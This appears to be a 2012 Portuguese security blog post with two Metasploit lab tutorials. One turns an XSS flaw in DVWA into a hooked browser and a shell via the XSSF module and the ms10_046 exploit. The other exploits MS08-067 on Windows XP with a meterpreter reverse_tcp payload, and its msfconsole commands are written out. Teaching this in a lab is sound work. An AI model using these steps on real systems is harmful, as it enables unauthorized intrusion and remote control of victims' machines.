http://skamason.com/7b9R

http://skamason.com/7b9R

quinta-feira, 28 de junho de 2012

Explorando Cross Site Scripting (XSS) com Metasploit


 Cross Site Scripting é uma vulnerabilidade encontrada em aplicações, que existe quando a mesma não implementa mecanismos de validação de entradas dos dados fornecidos pelos usuários à aplicação. Existem casos em que a validação existe, porém, não é suficiente ou bem implementada, permitindo desta forma a possibilidade de executar scripts no browser do usuário.

Os ataques que exploram esta vulnerabilidade, na grande maioria dos casos, visam comprometer a segurança do usuário que utiliza a aplicação, conhecido como ataques client-side. Estes ataques incluem, captura de cookies de sessão, dados dos usuários, credenciais, criação de sites falsos (phishing), entre outros.

No Metasploit existe um framework ainda em fase de testes chamado XSSF, criado para facilitar a exploração de Cross Site Scripting, realizei uns testes bastantes satisfatórios, onde foi possível conseguir desde informações do navegador do usuário até a exploração de vulnerabilidades do browser com execução de comandos.

Para utilizar o framework é necessário fazer o download em http://www.metasploit.com/redmine/attac ... 6/XSSF.zip e extrair o arquivo dentro do diretório do Metasploit.

Tendo extraído o arquivo, basta executar a console do Metasploit e utilizar o comando load, conforme imagem ilustra.


Imagem


Quando executado o XSSF habilita um Web server contendo um código javascript que deverá ser executado no browser da vítima, sendo assim ele gera uma URL para uso de engenharia social, onde o atacante deve fornecer para o usuário. Neste caso a URL gerada foi: http://192.168.2.103:8888/loop.

Para demonstração foi utilizado uma vulnerabilidade de XSS encontrado na aplicação Web Damn Vulnerable Web App (DVWA) e executado a injeção do script.

Imagem


Para verificar se o código foi executado no browser do usuário, executa-se o comando “xssf_active_victms”


Imagem


Verificou-se que existe uma conexão ativa oriunda do browser Internet Explorer, com o comando “xssf_information”, é possível obter mais informações.


Imagem


O framework possui alguns módulos onde é possível interagir com o browser atacado. Nas imagens abaixo é possível verificar o uso do módulo auxiliary/xssf/alert.


Imagem


Após a execução do módulo é possível verificar no browser do usuário a janela do alert executado.


Imagem


Bem desta forma é possível obter outras informações tais como cookies de sessão, acesso ao clipboard entre outros.

Dado o nível de interação existente com o browser do usuário, é possível ainda executar exploits para explorar vulnerabilidades client-side.

Para exemplificar foi disparado contra o browser do usuário o exploit ms10_046_shortcut_icon_dllloader. As imagens ilustram a configuração e execução do exploit.


Imagem


Imagem


Imagem



Desta forma, é possível verificar que o exploit foi executado com sucesso e retornou para o atacante uma shell para execução de comandos.


Imagem


Com este post é possível mostrar o quanto um simples Cross Site Scripting refletido pode se tornar perigoso devido as grandes investidas contra a segurança client-side.


Explorando a Vulnerabilidade MS08-067

Esse é um tutorial que é bem básico, mas é essencial para que no futuro possamos estudar mais a fundo os recursos do Metasploit.
O cenário para este ataque é uma máquina rodando linux com o Metasploit instalado e uma com o Windows XP SP1 vulnerável a MS08_067_netapi.
Com as máquinas na mesma rede, vamos ver o ip de cada uma delas.
Na máquina linux basta dar um ifconfig

Imagem

Na máquina windows abra uma tela de prompt e de um ipconfig

Imagem

Agora vamos inicar o Metasploit, dando o comando msfconsole

Imagem

Como já sabemos qual a vulnerabilidade que vamos explorar, vamos fazer uma busca no Metasploit e descobrir o caminho correto do exploit. Para isso vamos usar o comando search ms08_067_netapi

Imagem

Pronto, ele nos retornou o caminho, agora vamos selecionar o exploit usando o seguinte comando use exploit/windows/smb/ms08_067_netapi

Imagem

Vamos agora definir o PAYLOAD que vamos utilizar, neste caso eu vou usar uma conexão reversa então use o comando set PAYLOAD windows/meterpreter/reverse_tcp para definir este PAYLOAD.

Imagem

Precisamos ver quais parametros nosso exploit vai precisar para atacar a máquina alvo, para isso usaremos o comando show options

Imagem

Podemos ver claramente na coluna Current Setting que existem dois valores ainda não definidos e que são necessários, que são o RHOST e o LHOST. Vamos definir o LHOST que é nosso IP local, então o comando fica assim set LHOST 10.0.0.7

Imagem

Para definir o RHOST daremos o seguinte comando set RHOST 10.0.0.8 lembrando que o IP da máquina alvo é 10.0.0.8

Imagem

Vamos dar novamente o comando show options para ver se ficou faltando algum parametro

Imagem

Bem como parece estar tudo ok, vamos lançar nosso exploit e ver se da certo. Para isso basta digitar exploit

Imagem

Show ! Aqui podemos ver que uma sessão foi aberta, isso quer dizer que o alvo foi invadido com sucesso.
Bem esse é o primeiro passo para o estudo do metasploit, será daqui que faremos os ataques mais avançados. 

Nenhum comentário:

Postar um comentário